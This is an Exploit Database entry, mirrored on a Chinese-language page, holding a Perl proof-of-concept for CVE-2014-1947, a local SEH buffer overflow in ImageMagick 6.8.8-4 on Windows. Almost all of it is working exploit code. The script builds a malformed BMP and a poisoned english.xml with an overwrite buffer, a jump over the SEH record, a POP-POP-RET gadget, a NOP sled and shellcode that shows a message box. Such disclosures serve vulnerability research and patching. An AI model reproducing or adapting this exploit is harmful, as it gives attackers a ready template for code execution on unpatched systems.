ImageMagick 6.8.8-4 – Local Buffer Overflow (SEH)

• Exploit Database
• 17 阅读

• 作者： Mike Czumak
  日期： 2014-02-16
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/31688/

• #!/usr/bin/perl
  ########################################################################################
  # Exploit Title: ImageMagick < 6.8.8-5 - Local Buffer Overflow (SEH)
  # Date: 2-13-2014
  # Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
  # Vulnerable Software: ImageMagick (all versions prior to 6.8.8-5)
  # Software Link: http://ftp.sunet.se/pub/multimedia/graphics/ImageMagick/binaries/
  # Version Tested: 6.8.8-4
  # Tested On: Windows XP SP3
  ########################################################################################
  # Credits:
  # 
  # CVE-2014-1947 published Feb 08 2014
  # by Justin Grant
  # https://www.securityfocus.com/bid/65478/info
  #
  ########################################################################################
  # Overview:
  #
  # I saw the notice for this CVE today but there was no known published expoits so 
  # I figured I'd put together this quick POC. Note, all app modules for the tested 
  # version were compiled with safeSEH so my use of an OS module may require adjustment
  # of the offsets. There also appears to be several bad chars that fail the sploit.
  # For this POC I only generate a basic messagebox using FatalAppExit(). It may take 
  # some work to get it to do more.
  #
  # How it works:
  # 
  # This particular BOF takes advantage of insecure handling of the english.xml file
  # which the app uses to display various error messages. I didn't spend much time 
  # investigating the app so there may be additional vulnerable locations
  # 
  # This script generates two files:
  # 1) a malfored .bmp file that will cause ImageMagick to generate a specific
  #error when opened (LengthAndFilesizeDoNotMatch), as defined in the 
  #english.xml file
  # 2) a modifiedenglish.xml file that replaces the original error message with 
  #our exploit code
  #
  # To test this POC:
  # 1) run the script, replace the original english.xml file (in App's folder)
  # 2) open the .bmp file with ImageMagick
  ########################################################################################
  
  # file write function 
  sub write_file { 
  my ($file, $buffer) = @_;
  open(FILE, ">$file");
  print FILE $buffer;
  close(FILE);
  print "Exploit file [" . $file . "] created\n";
  print "Buffer size: " . length($buffer) . "\n"; 
  }
  
  # create bmp file header; needs to be a valid header to generate necessary error
  sub bmp_header {
   my $header = "\x42\x4d"; # BM
   $header = $header . "\x46\x00\x00\x00"; # file size (70 bytes)
   $header = $header . "\x00\x00\x00\x00"; # unused 
   $header = $header . "\x36\x00\x00\x00"; # bitmap offset
   $header = $header . "\x28\x00\x00\x00"; # header size
   $header = $header . "\x02\x00\x00\x00"; # width
   $header = $header . "\x02\x00\x00\x00"; # height
   $header = $header . "\x01\x00"; # num of color planes
   $header = $header . "\x18\x00"; # num of bits per pixel
   $header = $header . "\x00\x00\x00\x00"; # compression (none)
   $header = $header . "\x10\x00\x00\x00"; # image size
   $header = $header . "\x13\x0b\x00\x00"; # horizontal resolution (2,835 pixels/meter)
   $header = $header . "\x13\x0b\x00\x00"; # vertical resolution (2,835 pixels/meter)
   $header = $header . "\x00\x00\x00\x00"; # colors in palette
   $header = $header . "\x00\x00\x00\x00"; #important colors
   return $header;
  }
  
  ## Construct the corrupted bmp file which will trigger the vuln
  my $header = bmp_header();
  my $data = "\x41" x (5000 - length($header)); # arbitrary file data filler
  my $buffer = $header.$data; 
  write_file("corrupt.bmp", $buffer);
  
  # construct the buffer payload for our xml file
  my $buffsize = 100000;
  my $junk = "\x41" x 62504; # offset to next seh at 568
  my $nseh = "\xeb\x32\x90\x90"; # overwrite next seh with jmp instruction (20 bytes)
  my $seh = pack('V', 0x74c82f4f); # : pop ebppop ebxret
  				 # ASLR: False, Rebase: False, SafeSEH: False, OS: True, C:\WINDOWS\system32\OLEACC.dll)
  my $junk2 = "\x41" x 12; # there are at least two possible offsets -- 1 forfile-> open and 1 for the open file menubar button 
  my $nops = "\x90" x 100;
  
  # this is just a POC shellcode that displays a messagebox using the FatalAppExit function 
  my $shell = "\xb9\x7c\xec\xa5\x7c" . # Unicode String "FailSilently" (address may vary)
  	"\x31\xc0" . # xor eax, eax
  	"\xbb\xb2\x1b\x86\x7c" . # kernel32.dll FatalAppExit()
  	"\x51" . # push ecx
  	"\x50" . # push eax
  	"\xff\xd3"; # call ebx
  
  my $sploit = $junk.$nseh.$seh.$junk2.$nseh.$seh.$nops.$shell; # assemble the exploit portion of the buffer
  my $fill = "\x43" x ($buffsize - (length($sploit))); # fill remainder of buffer with junk
  $sploit = $sploit.$fill; # assemble the final buffer
  
  # build the malicious xml file
  my $xml = '<?xml version="1.0" encoding="UTF-8"?><locale name="english"><exception><corrupt><image><warning><message name="LengthAndFilesizeDoNotMatch">'; 
  $xml = $xml . $sploit;
  $xml = $xml . '</message></warning></image></corrupt></exception></locale>';
  my $buffer = $xml;
  write_file("english.xml", $buffer);